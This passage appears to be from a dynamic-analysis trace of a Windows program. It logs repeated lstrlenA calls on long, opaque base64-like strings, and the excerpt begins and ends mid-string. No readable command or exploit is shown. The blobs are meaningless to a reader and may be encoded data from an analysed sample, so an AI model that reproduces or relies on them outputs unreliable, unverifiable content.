2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.804] lstrlenA (lpString="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") returned 5792 [0163.804] lstrlenA (lpString="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") returned 5792 [0163.804] lstrlenA (lpString="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